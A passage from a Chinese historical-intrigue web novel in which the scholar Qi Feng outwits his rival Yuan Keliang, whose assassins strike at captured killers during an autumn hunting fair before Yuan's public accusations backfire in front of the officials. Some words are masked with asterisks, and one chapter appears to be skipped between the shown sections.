袁克良点了点头:“不错!秋猎庙会人多眼杂,齐枫就算再狡猾,也得把心思放在应酬赵明德那些人身上。锦绣阁的防守,必然松懈。咱们趁他不在,派人潜入锦绣阁,杀了那几个**,永绝后患!”
他顿了顿,语气越发阴沉:“齐枫扣下那几个**,无非是想用他们的口供威胁我,可只要他们一死,他手中再无证据,流言自然不攻自破!到时候,我再反咬一口,说他栽赃陷害,毁了他的仁义之名!”
袁浩然拍手叫绝,眼中满是兴奋:“大哥果然高明!齐枫再聪明,也想不到咱们会在庙会动手!可这事得如何安排?”
袁克良冷哼一声,缓缓道:“这事我亲自来。庙会当日,我会带人佯装赴会,吸引齐枫的注意,浩然,你挑几个身手最好的死士,潜入锦绣阁,务必一击必杀!那些**若有一口气在,就是咱们的隐患,事成之后,咱们再放出风声,说齐枫扣押**,逼供栽赃,激怒百姓,让他自顾不暇!”
袁浩然抱拳,沉声道:“大哥,这计划滴水不漏!齐枫这回,怕是要栽个大跟头!我这就去挑人,保证万无一失!”
袁克良点了点头,目光阴冷:“去吧,记住,这事不能有半点差错。齐枫,我倒要看看,你这次还能翻出什么花样!”
……
醉月楼一间雅致的厢房内,夜色深沉,月光透过窗棂洒入,映得室内一片柔光。
南宫玥斜靠在床榻上,月白长裙半褪,露出雪白的肩头,脸上带着满足的红晕,眼中闪过一丝慵懒的柔情。
她侧身看向身旁的齐枫,声音轻软:“齐郎,你可有何打算?袁克良那家伙,怕是不会善罢甘休吧?”
齐枫倚在床头,抚摸着南宫玥的香肩:“月儿,你说得不错。袁克良如今被流言逼得焦头烂额,定会铤而走险。我猜,他下一步,八成会趁着秋猎庙会,玩一出调虎离山的把戏。”
南宫玥柳眉微挑,眼中闪过一丝好奇:“调虎离山?齐郎,你是说他会趁你不在锦绣阁,派人去杀那几个**?”
齐枫点了点头,目光微眯:“正是,那几个**在我手里,真真假假的口供,够他寝食难安。他若不除掉他们,怕是连觉都睡不着。秋猎庙会是个好机会,赵明德和卢正淳定会邀我赴会,锦绣阁的防守难免松懈,他必定会抓住这机会动手。”
南宫玥闻言,眼中闪过一丝担忧,坐起身,被子滑落,露出那玲珑玉酯的曲线,柔声道:“齐郎,袁克良既然敢动手
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,定会派高手。锦绣阁虽有护卫,可若他孤注一掷,怕是不好应付。你可有防备?”
齐枫哈哈一笑,拍了拍她的手:“月儿,放心。袁克良的性子,我早就摸透了。他想调虎离山,我便将计就计,给他个空城计玩玩。到时候,锦绣阁看似空虚,实则埋伏重重,他派来的人,一个也别想跑!”
南宫玥忍不住道:“可萧无痕那边,他对袁克良到底是何态度?若他继续帮袁克良,咱们的计划,会不会受阻?”
齐枫笑得意味深长:“萧无痕?他自然欣赏袁克良。月儿,你可知萧无痕的来历?他乃萧氏嫡出子弟,身份高贵,最看重门第出身。袁克良在府城根基深厚,家世显赫,正合他的胃口。再说,他追查龙佩和乾朝余孽,需借助袁氏的势力,早就与袁克良勾连甚深。”
南宫玥柳眉微蹙:“那可如何是好?若萧无痕一心偏袒袁克良,咱们的流言再厉害,怕也动不了他的根基。”
齐枫摆了摆手:“月儿,萧无痕虽欣赏袁克良,但此人最重利益。袁克良若犯的错太多,触及朝廷底线,他便是想保,也保不住。咱们只需再推一把,让袁克良在庙会失手,落个勾结余孽的实锤,萧无痕为了自保,定会弃车保帅,将袁克良推出去顶罪!”
南宫玥闻言柔声道:“齐郎,你的算计,环环相扣,袁克良怕是做梦也想不到,自己已落入你的局中,他这次会不会亲自出手?”
齐枫笑眯眯道:“亲自出手?那更好!袁克良若敢露面,我便让他有来无回,月儿,你只管在醉月楼盯着,有任何风吹草动,随时告诉我。锦绣阁那边,我已安排富贵和护卫,布下天罗地网,就等袁克良自投罗网!”
南宫玥点了点头,两人相视一笑,南宫玥依偎在齐枫怀中,月光映得她的脸庞越发娇艳,齐枫的目光在她身上流连,心头不由得一热,再次压了上去。
第一百五十八章 人心
锦绣阁后院的一间隐秘地牢内,气氛却冷如冰窖。
昏黄的火把摇曳,映得四壁斑驳。
三名蒙面**被铁链锁在石柱上,衣衫破烂,眼中满是愤怒。
牢门吱呀一声打开,那名叛变的**被富贵带入,身上伤痕已清理干净,换了身干净衣裳,气色明显好了许多。
三名**一见他,眼中怒火喷涌,领头的蒙面人咬牙怒骂:“你这叛徒!背叛袁大少,投靠齐枫,你不得好死!”
另一名**也嘶吼道:“狗东西!袁大少对你不薄,你竟敢出卖他!等着吧,你这背信弃义的畜生,迟早要遭报应!”
第三名**咬牙切齿,眼中满是怨毒:“姓齐的给你灌了什么**汤?你忘了为袁氏出生入死的日子?叛徒!不得好死!”
富贵左臂搂着一个身着彩裙的女子,右手中提着一壶酒,咧嘴笑着。
那名叛变的**也不恼怒,手中还端着一碗热气腾腾的肉羹。
富贵哈哈一笑,将酒壶往地上一放,搂着女子的手紧了紧,粗声道:“嘿,兄弟们,瞧瞧你们这模样可真够惨的!看看咱们这位兄弟,吃香的喝辣的,还有美人相伴,日子过得比你们舒坦多了!”
叛变**放下肉羹,目光扫过三名**,嘴角勾起一抹冷笑:“几位兄弟,还在这儿骂我叛徒?跟着袁克良,出生入死,换来的是什么?被派来送死,差点连命都没了!如今我在齐少爷手下,吃得好住得好,不用提心吊胆,你们呢?还在这儿替袁克良卖命,值吗?”
领头的蒙面**眼中怒火喷涌,咬牙切齿道:“狗东西!你背叛袁大少,投靠齐枫,忘了当初是谁给你一口饭吃?不得好死!你以为齐枫真会善待你?不过是拿你当棋子罢了!”
叛变**冷哼一声,端起肉羹喝了一口,慢悠悠道:“棋子?齐少爷的手段你们没见过,哪懂他的本事?袁克良派你们来杀我灭口,压根没把你们当人看!我在齐少爷这儿,至少活得像个人,你们锁在这破牢里,命都捏在别人手里,还在这儿骂我?”
第二名**瞪着眼睛,嘶吼道:“住口!你这忘恩负义的畜生!袁大少对咱们有恩,你竟敢出卖他!齐枫那小子迟早让你后悔!”
叛变**哈哈一笑,拍了拍手:“后悔?兄弟,睁开眼看看吧!袁克良派你们来送死,连个救你们的打算都没有!你们为他卖命,换来的就是这身铁链!我投靠齐少爷,昨晚睡得香,吃的肉,喝的美酒,还有……”
他瞥了眼富贵身旁的女子,笑得更得意,“还有美人作伴!你们呢?在这儿挨饿受冻,图个什么?”
第三名**咬牙,眼中怒意稍减,多了几分犹豫:“你……你说得轻巧!齐枫那小子,谁知道他是不是在利用你?等你没用了,怕是比我们还惨!”
叛变**摇了摇头,多了几分感慨:“齐少爷的为人我比你们清楚。他扣下你们,没急着杀,也没严刑逼供,单这份气度,就比袁克良强百倍!袁克良派你们来**灭口,压根没想过救你们回去。兄弟们,醒醒吧,为这么个主子卖命,值吗?”
领头**脸色一变,眼中怒火渐渐被疑惑取代:“你这话……当真?齐枫真没逼供你?那他扣着我们,到底图什么?”
叛变**端起酒杯,抿了一口,慢悠悠道:“齐少爷的心思我哪猜得透?不过我劝你们一句,他给你们留条活路,已经是仁至义尽。你们若继续嘴硬,怕是连这牢房都出不去!袁克良呢?他如今自身难保,满城都在传他勾结乾朝余孽,谋夺龙佩,连萧无痕都开始怀疑他!你们还指望他来救你们?”
第二名**皱眉,语气缓和了几分:“满城流言,当真?袁大少怎会跟乾朝余孽扯上关系?那可是抄家灭族的大罪!”
叛变**冷笑:“真假我不知道,可齐少爷放出这风声,府城百姓信了七八分,萧无痕也开始查他。袁克良急得像热锅上的蚂蚁,哪还有心思管你们?跟着袁克良,只有死路一条,投靠齐少爷,才是活路!”
第三名**低头,目光落在地上的铁链上,眼中闪过一丝动摇,喃喃道:“可……咱们若投靠齐枫,袁大少那边……”
叛变**摆了摆手:“袁大少?他如今泥菩萨过江,自身难保!你们没见他派人来杀我,压根没打算留活口!你们替他守着那点所谓的忠义,傻不傻?”
领头**咬牙,眼中挣扎更甚:“你……你真觉得齐枫会放过咱们?咱们可是袁大少的人,他怎会信咱们?”
叛变**哈哈一笑,拍了拍胸脯:“信不信,齐少爷自有分寸!他说了,只要你们肯配合,帮他做事,锦绣阁有你们一口饭吃!
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你们若继续嘴硬,这地牢可不是好待的地方!袁克良对你们无情无义,你们还替他卖命,脑子进水了?”
第二名**低头,眼中怒意已消了大半,喃喃道:“可咱们若投靠齐枫,袁大少那边……万一他翻身……”
叛变**冷哼:“翻身?袁克良如今被流言逼得焦头烂额,他哪来的机会翻身?齐少爷的手段远超你们想象。”
第三名**眼中动摇更甚:“你说齐枫真会放过咱们?咱们可是袁大少的死士……”
叛变**端起酒杯,喝了一大口:“袁克良把你们当死士,你们就真把自己当死士?!”
领头**低头,目光落在地上的酒壶与肉羹上,眼中怒意渐渐消散,多了几分犹豫,挣扎。
他咬牙道:“你……当真过得这么好?”
叛变**哈哈一笑,拍了拍富贵的肩膀:“好不好,你们问问富贵爷!齐少爷对手下从不亏待!”
富贵搂着女子,咧嘴笑道:“兄弟们,齐少爷的为人我富贵最清楚!你们若肯投靠,吃香的喝辣的,保你们比跟着袁克良强!再不济,也比在这破牢里强吧?”
三名**对视一眼,眼中怒意已消了大半,疑虑,动摇渐渐占据上风。
叛变**不在废话,大步走向牢门,富贵哈哈一笑,搂着女子跟了上去,临走前丢下一句。
“几位兄弟,慢慢想!齐少爷给你们时间,可别自己把路走死!”
牢门吱呀关上,三名**低头不语,眼中挣扎更甚,地牢内只剩火把的噼啪声,气氛沉重,压抑。
两天后,府城街头喜气洋洋,彩旗飘扬,锣鼓喧天。
秋猎庙会即将来临,城郊猎场的盛况已传遍大街小巷。
百姓们三五成群,议论着庙会的热闹,商贩们摆满摊位,叫卖声此起彼伏。
酒肆茶楼内,众人热议齐枫的仁义与袁克良的丑闻,流言愈演愈烈。
知府赵明德与按察使卢正淳一早便来到锦绣阁,二人皆盛装出行,身后跟着几名随从。
赵明德笑容满面,拱手道:“齐贤弟,秋猎庙会乃府城盛事,城郊猎场热闹非凡,本官与卢大人特来邀你同往,共赏盛况!”
卢正淳捋了捋胡须,沉声道:“齐公子才华无双,春闱榜首,此次庙会,定能为府城增光。还望赏脸,与我等同往!”
第一百五十九章 庙会
齐枫听着两人的话,拱手笑道:“赵大人,卢大人,承蒙二位抬爱,齐某自当从命。秋猎庙会乃府城盛事,齐枫怎敢缺席?请二位大人先行,齐某随后便到。”
赵明德哈哈一笑,拍了拍齐枫的肩膀:“好!齐贤弟爽快!今日猎场热闹非凡,咱们边走边聊!”
卢正淳颔首,目光中带着几分欣赏,三人并肩而行,身后几名随从紧随,朝城郊走去。
府城街头,锣鼓喧天,百姓们三五成群,议论纷纷。
齐枫的身影刚一出现,便引来无数目光。
街边茶肆内,一名老者端着茶盏,啧啧称奇:“瞧,那不是齐公子吗?春闱榜首,锦绣阁的东家,仁义无双!听说袁克良派人刺杀他,结果反被他抓了**,还抖出袁氏勾结乾朝余孽的大秘密!”
旁边的年轻书生接话,眼中满是崇拜:“可不是!齐公子才华横溢,年纪轻轻便夺得榜首,还开了锦绣阁,生意红火,府城上下谁人不夸他两句?袁克良和他作对,简直是寿星公矛厕点灯,找死!”
一名商贩挑着担子,笑呵呵道:“齐公子这等人物,定能中状元,为朝廷效力!听说萧无痕都开始查袁氏了,齐公子这回可是大获全胜!”
议论声此起彼伏,百姓们的目光追随齐枫,街头巷尾尽是他的传说。
齐枫笑容从容,对这些议论似未察觉,只与赵明德,卢正淳谈笑风生,风采卓然。
行至城门附近,喧哗声忽起,一队人马缓缓走来。
萧无痕一袭红衣,圆月弯刀斜挂腰间,气势冷峻,身后跟着袁克良与几名袁氏护卫。
袁克良一身锦袍,面色阴沉,眼中闪过一丝不甘,却强挤出笑意,朝赵明德与卢正淳拱手:“赵大人,卢大人,今日庙会盛况空前,袁某有幸同行,还望二位大人多多指教。”
赵明德笑容不变,拱手道:“袁公子客气了。秋猎庙会,府城盛事,你我同往,共赏一番!”
卢正淳颔首,目光扫过袁克良,语气平静:“袁公子,齐公子,萧大人,今日齐聚,定能让庙会更添光彩。走吧,莫误了时辰。”
萧无痕目光扫过齐枫,眼中闪过一丝复杂,淡淡道:“齐公子今日真是风采不凡。”
齐枫笑了笑:“萧大人谬赞了。齐某不过一介书生,怎敢与大人相比?今日庙会,齐某只想一睹盛况。”
袁克良闻言,眼中闪过一丝戾气,却未发作,只冷哼一声,紧随萧无痕身后。
众人寒暄片刻,便一同朝城郊猎场走去。街道两旁的百姓议论更盛,指指点点。
城郊猎场,秋猎庙会的举办之地,已是一派辉煌盛况。
猎场占地百亩,彩旗飘扬,鼓乐齐鸣,场中央搭建了一座高大的彩棚,琉璃灯盏高悬,映得四周光彩夺目。
棚内摆满珍馐佳肴,丝竹管弦之声不绝于耳,府城名流,商贾士绅云集,笑语喧哗,热闹非凡。
猎场四周,秋草如茵,秋风送爽,猎旗猎猎作响,数十匹骏马在场边嘶鸣。
场内设有多处箭靶,弓箭手们摩拳擦掌,准备一展身手。
彩棚旁,商贩摊位鳞次栉比,卖糖人的,捏面人的,叫卖声此起彼伏,一旁的孩童们欢笑追逐。
彩棚正中,赵明德与卢正淳的席位高居主位,锦缎铺就,气派非凡。
周围的士绅们身着华服,相互寒暄,女眷们则聚在一旁,品评着杭绸蜀锦,议论着锦绣阁的新品。
几位乐师弹奏琴瑟,音律悠扬,伴着秋风,飘荡在猎场上空,宛如仙乐。
猎场一角,搭建了一座高台,用于武试比斗,台下已围满看客,翘首以盼。
台边悬挂的锦旗上,绣着“秋猎盛会”四字,金丝勾边,熠熠生辉。
场外的猎犬吠声阵阵,猎手们牵着长弓,蓄势待发,准备在林间一较高下。
整个猎场,就像是一幅盛大的画卷,齐枫不由得感慨,这要是画下来,流传到后世,又是一副清明上河图。
赵明德环顾四周,哈哈一笑:“齐贤弟,卢大人,
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今日庙会,果然盛况空前!待会儿猎场开赛,齐贤弟可要一展身手,让众人见识你的风采!”
卢正淳点头:“赵大人所言极是。齐公子才华出众,若在猎场有所斩获,定能名扬四方!”
齐枫摇头谦逊道:“二位大人抬爱了。齐某不过一介书生,舞刀弄枪实在不擅长。”
萧无痕目光微敛,淡淡道:“齐公子谦虚了,齐公子文武双全自是不在话下。”
这话意有所指啊!
齐枫笑眯眯地拱手,目光扫过袁克良,眼中闪过一丝戏谑,却未多言。
众人寒暄间,猎场的鼓声骤响,彩棚内的气氛更加热烈,百姓们的欢呼声如潮水般涌来,整个猎场沉浸在一片喜庆之中。
与此同时,锦绣阁后院,寂静的院落中袁浩然一身黑衣,带着十余名死士,悄无声息地潜至锦绣阁外的高墙下。
死士们蒙着黑布,只露出一双冷厉的眼睛,手中的**泛着寒光。
袁浩然目光阴冷,扫过身后的死士:“记住,不用管别的,只需潜入地牢,找到那几个**,一击毙命!事成之后,立即撤离,莫要留下任何痕迹!”
死士们点头,手中**寒光闪烁,迅疾冲向地牢入口。
牢门未锁,一推即开,内里昏暗,阳光从高窗透入,隐约照亮三名**被铁链绑在石柱上,蒙着黑布,低垂着头,毫无动静。
袁浩然冷哼一声,挥手道:“动手!”
死士们二话不说,**猛刺三名“**”胸口,刀锋入体,发出闷响,似无异常。
领头死士一挥刀,却未见鲜血,只当刀法精准,命中要害,也没有细察。
袁浩然目光一扫,低声道:“得手了!快撤!”
他心头略感异样,暗道:“怎的如此顺利?齐枫那小子狡猾,怎么如此大意?”
但任务已成,他无暇多想,沉声道:“走!莫留痕迹!”
死士们收起**,迅速退出地牢,翻墙而出,眨眼间消失在锦绣阁外的小巷中。
第一百六十章 哪里不对
袁浩然走在最后,回头瞥了眼地牢,皱眉道:“怪了,总觉得哪里不对……”
他甩头压下疑惑,疾步离去。
城郊猎场的阳光炽烈,弓手们已经在挽弓试射,箭矢破空,精准命中靶心,引来喝彩连连。
百姓们围在彩楼外,看到齐枫,顿时叹道:“那便是齐公子!听说他抓了袁克良派来的**,抖出袁氏勾结乾朝余孽的秘密!”
彩楼内,袁克良站在萧无痕身旁,目光却不时扫向齐枫,他见袁浩然悄然归来,低声禀报:“大哥,事成了!那几个**已除!”
袁克良闻言,心头大松,眼中闪过一丝得意,暗道:“齐枫,这回你再无把柄,我看你如何翻盘!”
他整了整衣襟,步入彩楼中央,举杯朗声道:“诸位大人,秋猎庙会盛况空前,袁某不才,愿为府城增光!近日流言污蔑袁氏,纯属小人栽赃,袁某定要洗清冤屈!”
众人闻言,议论声骤起。
一名士绅道:“袁公子这话说得硬气,可满城流言说他勾结乾朝余孽,谋夺龙佩,连萧大人都查他,怕是不好收场啊。”
一名书生冷笑道:“袁克良先买通阿福栽赃青禾姑娘,又派**捣乱锦绣阁,如今还想翻身?痴心妄想!”
赵明德与卢正淳对视一眼,笑容不变,似未被袁克良的话打动。
萧无痕目光冷峻,沉默不语,也在观察局势。
袁克良见众人议论,脸上笑意不减,心头却越发得意。
他清了清嗓子,朗声道:“诸位大人,袁某有一言要说!”
“诸位大人,近日府城流言四起,污蔑袁某勾结乾朝余孽,谋夺龙佩,闹得沸沸扬扬!今日,袁某借庙会之机,当众澄清,洗刷冤屈!”
他目光扫过众人,语气慷慨激昂:“袁氏在府城扎根百年,祖辈忠心耿耿,为朝廷尽忠!袁某土生土长,家业深厚,怎会做出勾结前朝余孽这等大逆不道之事?”
“分明是有人心怀叵测,蓄意栽赃,欲毁我袁氏声誉!诸位大人,百姓父老,你们说,袁某何苦自寻死路,干这抄家灭族的勾当?”
一名收受袁氏银子的士绅当即附和,高声道:“袁公子说得有理!袁氏世代忠良,府城谁人不知?勾结余孽这等罪名,怎会落在袁公子头上?定是小人嫉妒,恶意中伤!”
另一名商贾也点头,接口道:“正是!袁公子若真有异心,怎会如此高调?分明是有人在背后搞鬼!”
袁克良闻言,脸上笑意更浓,继续道:“诸位,袁某自问问心无愧!这些流言,说我派**刺杀齐枫,又说**招供,吐出什么龙佩和余孽的秘密,纯属无稽之谈!袁某与齐枫虽有竞争,但光明磊落,怎会用如此下作手段?若真有此事,袁某愿当众对质!”
他顿了顿,目光一寒,语气越发沉重:“可笑的是,这些所谓**,为何从未公开露面?若真有证据,为何不交由赵大人或卢大人审问?袁某倒想问问,这背后之人,究竟意欲何为?如此遮遮掩掩,莫非是自导自演,欲借流言陷害袁某?”
人群中,收买的几人再次起哄。
一名老者高声道:“袁公子所言极是!若真有**,为何不交给官府?藏着掖着,怕是心虚!”
“正是!袁氏根基深厚,怎会干这等蠢事?定是有人借机生事,毁袁公子清誉!”
赵明德与卢正淳对视一眼,脸色平静,他清了清嗓子,缓缓道:“袁公子,流言之事,确实需查清真相。本官身为知府,自会秉公处理,绝不偏听偏信。”
卢正淳也捋须,沉声道:“赵大人说得是,流言真假,需证据说话。袁公子既有此心,当配合官府,查明原委。”
两人言语虽中立,却隐隐偏向齐枫,没有直接支持袁克良。
袁克良心头一紧,眼中闪过一丝不甘,忽地画风一转,目光直指彩楼一角的齐枫,朗声道:“诸位大人,袁某今日敢断言,这一切,皆是齐枫一手策划,为的就是对付我袁氏!”
他手指齐枫,声音骤冷:“齐枫,你身为春闱榜首
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,仁义之名满城皆知,可这流言,分明是你散布!所谓**,怕是你自导自演的一场戏!”
“若真有**,你为何不第一时间交给赵大人,卢大人,甚至萧大人?偏要扣在锦绣阁,私自审问,这可是代朝廷执法?好大的胆子!”
此话一出,全场哗然,百姓们交头接耳,目光在齐枫与袁克良间游移。
一名不明真相的看客道:“袁公子说得有理!若真有**,怎不交给官府?齐公子扣着人,确实蹊跷!”
“可不是!齐公子仁义,可这事若是他自导自演,栽赃袁公子,那也太阴险了!”
齐枫站在一旁,依旧笑容从容,完全没有被袁克良的话触动。
南宫玥与楚清秋站在他身侧,南宫玥柳眉微蹙,眼中闪过一丝担忧。
楚清秋踏前一步,冷声道:“袁克良,你血口喷人!我家少爷光明磊落,怎会做这等下作之事?那些**分明是你派来刺杀少爷的,证据确凿,你还想抵赖?”
袁克良冷笑,目光阴鸷:“证据?青禾姑娘,你说证据在哪儿?若真有**,齐枫为何不拿出来?藏在锦绣阁,怕是早就被他收买,编造谎言,栽赃袁某!诸位大人,百姓父老,你们说,这等行径,可像仁义之人所为?”
他顿了顿,语气越发激昂:“齐枫,你扣着所谓**,私自审问,不交官府,分明是心中有鬼!若你真清白,敢不敢将人带到彩楼,当众对质?袁某倒要看看,这些**能说出什么!还是说,你根本拿不出人,只会靠流言惑众?”
人群中,收买的士绅再次起哄:“袁公子说得对!若有证据,怎不公开?齐公子,拿出来让大家看看!”
“正是!扣人私审,置朝廷法度于何地?齐公子若清白,怎不敢对质?有**就带上来!”
不明真相的百姓也开始动摇:“袁公子说得有几分道理……齐公子若真抓了**,为何不交给官府?”
“是啊,锦绣阁扣着人,私自审问,确实不像仁义之举!”
第一百六十一章 你没证据
袁克良眼中闪过一丝得意,继续道:“诸位,齐枫此人,表面仁义,实则心机深沉!他借锦绣阁之名,收买人心,又散布流言,污蔑袁某勾结乾朝余孽,谋夺龙佩!这些所谓**,怕是他一手安排,欲将袁某置于死地!若非袁某忠心耿耿,怎会遭此陷害?”
他目光如刀,直刺齐枫:“齐枫,你敢说这些流言不是你散布?敢说这些**不是你安排?若你真有证据,为何不敢交给萧大人?萧大人追查龙佩和余孽,职责所在,你却藏着掖着,分明是自知理亏!诸位大人,袁某恳请彻查此事,还我清白!”
南宫玥闻言,脸色微变,低声道:“齐郎,这袁克良当众倒打一耙,怕是要激起民愤!”
齐枫笑着摇了***轻声安抚:“月儿,放心,他越是急着辩解,越是自露马脚。咱们只管看戏便是。”
南宫玥本来还有些心急,可在看到齐枫如此淡然之后也慢慢冷静下来。
袁克良见齐枫不动声色,心头一紧,却越发咄咄逼人,朗声道:“齐枫,你既不交人,也不回应,分明是默认!诸位大人,袁某今日当众指证,齐枫此人,表面仁义,实则包藏祸心!他自导自演,编造**,散布流言,请诸位大人严惩!”
赵明德两人沉默不语。
袁克良咬了咬牙,顿了顿,目光扫过赵明德,卢正淳与萧无痕,一脸悲愤:“赵大人,卢大人,萧大人,袁某恳请彻查!齐枫扣押所谓**,私自审问,分明是代朝廷执法,藐视法度!若不严查,府城何来公道?!”
这一番话说的可谓是冠冕堂皇,轻而易举的就将自己身上的嫌疑摘了个干干净净,倒打一耙,将***都引到了齐枫的头上。
而他之所以该如此嚣张的主要原因,还是因为知道了齐枫的手里已经没有了证据,接下来这一场**的主导就看看谁的势力强大了!
人群中,议论声更盛。
收买的士绅高声道:“袁公子忠心可鉴!齐公子若清白,怎不敢对质?”
一名商贾附和:“正是!私扣人犯,置官府于何地?定是齐枫栽赃!”
百姓们交头接耳,目光在齐枫与袁克良间游移,气氛愈发紧张。
袁克良义正言辞的指着齐枫,朗声道:“齐枫,你若真清白,敢不敢当众拿出证据?还是说,你才是那真正的勾结乾朝余孽之人!”
此话一出,全场又是一阵哗然!
这个罪名可不小!
“齐公子勾结余孽吗?不可能吧,他可是春围的榜首,怎么可能会做这种愚蠢的事情??”
“这个东西也很难说啊,很多人都挺会演戏的,表面上装的光鲜亮丽,背地里是什么样的德性谁知道呢?”
齐枫终于抬眼,目光扫过叫嚣的袁克良,嘴角勾起一抹淡笑:“袁公子急着定罪,莫非忘了一件事?”
他声音清朗,穿透嘈杂的议论声,稳稳落在每个人耳中:“那几名**,昨日已由萧大人亲审过。”
袁克良见齐枫始终笑意从容,心头那股不安越发浓重,却仗着地牢里的“证据”已除,梗着脖子道:“萧大人亲审?齐枫,你倒说说,萧大人审出了什么?若真有供词,为何不公之于众?”
他转向萧无痕,拱手道:“萧大人,您执掌刑狱,最是公正。若齐枫真交了人犯,还请大人当众说句公道话,免得他拿您的名头做幌子!”
萧无痕眉峰微蹙,目光在齐枫与袁克良之间转了转。
他昨日确实收到齐枫派人送来的消息,说抓到了刺杀嫌犯,却并未真见着人。
齐枫只说“暂存锦绣阁,待庙会结束再移交”,理由是“怕打草惊蛇,让幕后之人狗急跳墙”。
此刻被袁克良逼问,萧无痕沉声道:“齐枫确有通报,但人犯……尚未移交府衙。”
这话一出,袁克良顿时像抓住了救命稻草,猛地提高声音:“诸位听见了吗?萧大人亲口说的!人犯根本没交!齐枫,你竟敢拿萧大人的名头撒谎,当真是胆大包天!”
人群中又是一阵骚动,方才被齐
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枫一句话压下去的疑虑再次抬头。
“果然没交啊……”
“私扣人犯不说,还敢扯萧大人的幌子,这齐公子怕是真有问题?”
南宫玥气得脸色发红,攥着帕子的手微微发颤:“你胡说!我家公子何时撒谎了?只是暂存,又不是不交!”
“暂存?”袁克良冷笑,“说的好听!依我看,是早就被你处理干净了吧?毕竟是栽赃的**,留着只会露馅!”
他步步紧逼,目光如毒蛇般盯着齐枫:“齐枫,你敢让萧大人现在就去锦绣阁查探吗?若地牢里真有人犯,袁某当场给你磕头赔罪!可若没有……”
他话锋一转,声音陡然凌厉:“那便是你伪造证据、污蔑忠良,按律当斩!”
周围的士绅立刻附和:“袁公子说得对!让萧大人去查查便是!”
“是真是假,一查便知,何必在此争论?”
赵明德与卢正淳对视一眼,都看出了对方眼中的犹豫。齐枫迟迟不交人犯,确实容易引人怀疑,可真让萧无痕去查,万一……
齐枫却像是没听见袁克良的逼问,反而转头对萧无痕笑道:“萧大人,袁公子既如此坚持,不如便去看看?正好让他**这条心。”
萧无痕挑眉:“你确定?”
“自然。”齐枫笑得云淡风轻,“不过有句话要说在前头,锦绣阁地牢简陋,若真有人犯,还请萧大人莫怪齐某招待不周。”
袁克良见他答应得如此痛快,反而心里咯噔一下,难不成地牢里还有后手?可袁浩然明明说已经得手了……
他强压下不安,冷声道:“少废话!萧大人,咱们现在就去!”
萧无痕点头,当即点了十余名官差,带着齐枫与袁克良往城内锦绣阁赶去。
赵明德与卢正淳放心不下,也带着随从跟了上去,看热闹的百姓更是黑压压一片,把街道挤得水泄不通。
到了锦绣阁外,袁克良迫不及待地指着后院:“地牢入口就在那儿!萧大人,您亲自去看看便知!”
第一百六十三章 彻底完了!
当他们的目光落在袁克良身上时,其中一人突然激动地挣扎起来,铁链“哐当”作响。
“袁大少!救我们!我们是按你的吩咐去的!你答应过保我们安全的!快救我们出去啊!”
另一个蒙面人也跟着嘶吼:“袁大少!我们可都是为你卖命!你不能不管我们!”
第三个更是直接喊道:“齐公子说了,只要我们招供,就能活命!还说事成之后给我们一百两银子!你不能说话不算数啊!”
这三声喊,像三记重锤,狠狠砸在袁克良心上。
他的脸色“唰”地一下变得惨白,比纸还白,嘴唇哆嗦着,一个字都说不出来。
“不……不是这样的……”他下意识地后退一步,眼神慌乱地扫过众人,“他们胡说!我根本不认识他们!是齐枫教他们这么说的!这是栽赃!彻头彻尾的栽赃!”
齐枫站在一旁,看着他惊慌失措的模样,淡淡开口:“袁公子,事到如今,狡辩还有意义吗?这三位**,亲口承认受你指使。至于你勾结乾朝余孽,意图盗取龙佩之事……”
他顿了顿,目光扫过那三个**,“也是他们招供的。萧大人,赵大人,卢大人,这些证据,足够说明问题了吧?”
那三个**像是得到了信号,立刻顺着齐枫的话喊道:“没错!我们还知道袁大少藏了龙佩!就在他书房的暗格里!”
“袁大少还说,只要拿到龙佩,就能挟制朝廷,到时候整个府城都是他的!”
这些话一出,全场彻底炸开了锅!
“我的天!还藏了龙佩,这是要谋反啊!”
“袁克良这胆子也太大了!这可是能抄家灭族的啊!”
萧无痕的脸色已经黑如锅底,他死死盯着袁克良,手按在腰间的圆月弯刀上,杀气四溢:“袁克良!他们说的是不是真的?!”
袁克良“扑通”一声单膝跪地,膝盖砸在潮湿的石板上,发出沉闷的响声。
他抬起头,脸上血色尽褪,唯有眼底还残留着一丝疯狂的猩红,对着萧无痕连连叩首:“萧大人!冤枉啊!这全是齐枫的阴谋!他自导自演,找了些江湖骗子冒充**,就是想栽赃我袁氏!”
他额头磕得通红,依旧咬牙狡辩:“您想想!我袁氏在府城根基深厚,世代忠良,怎会勾结乾朝余孽?齐枫不过一个外来书生,凭什么与我抗衡?他就是怕我挡了他的路,才想出这等阴毒手段,想把我袁氏彻底搞垮!”
“他越是这样急着扣罪名,越说明他心里有鬼!说不定……说不定他才是那乾朝余孽!故意接近赵大人,卢大人,就是想趁机作乱!萧大人,您可千万不能被他骗了!”
这番话颠倒黑白,却带着几分煽动性。
周围的百姓愣了愣,看向齐枫的目光又多了几分迟疑。
毕竟袁氏在府城经营多年,“世代忠良”的名头深入人心,而齐枫虽是春闱榜首,终究是外来者。
“袁公子说得好像有点道理……齐公子会不会真有问题?”
“不好说啊,袁氏家大业大,犯不着勾结余孽吧?”
“可**都被抓了现行,总不能是假的……”
议论声再次响起,比之前更加嘈杂。
萧无痕眉头紧锁,目光在袁克良与齐枫之间流转。
他本就与袁氏有所勾结,此刻见袁克良哭得情真意切,心头竟真的动了几分恻隐。
他轻咳一声,缓和了些许:“袁公子所言……也并非全无道理。齐枫,你说这些人是袁克良派来的,可有确凿证据?”
这话明显带着偏袒,赵明德顿时不乐意了,踏前一步拱手道:“萧大人,话可不能这么说!齐公子仁义之名传遍府城,锦绣阁的丝绸生意光明正大,怎会做这等自毁名声的事?倒是袁公子,三番两次针对齐公子,先是买通阿福栽赃青禾姑娘,如今又被抓出**现行,未免太过巧合!”
卢正淳也捋着胡须附和:“赵大人说得是。齐公子若真想作乱,大可凭借才名步步高升,何必冒险用这等拙劣手段?
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萧大人,依老夫看,还是先审审这三个**再说。”
萧无痕脸色微沉,显然对二人插话有些不满,却也不好当众发作,只能冷声道:“审自然要审,但凡事讲究证据。齐枫,你口口声声说这些**是袁克良所派,可有凭证证明他们的身份?总不能凭他们几句话,就定了袁公子的罪。”
袁克良闻言,心头猛地一松,像是抓住了救命稻草。
他抬起头,眼中闪过一丝得意,暗暗想道:“没错!这些**都是江湖上雇来的死士,平日里与袁氏毫无交集,就算他们嘴硬,也拿不出半点证据!齐枫,我看你这次怎么圆!”
他挺直腰板,对着齐枫冷笑:“听见了吗?萧大人要证据!你有吗?拿不出来就赶紧认罪,别在这儿丢人现眼!”
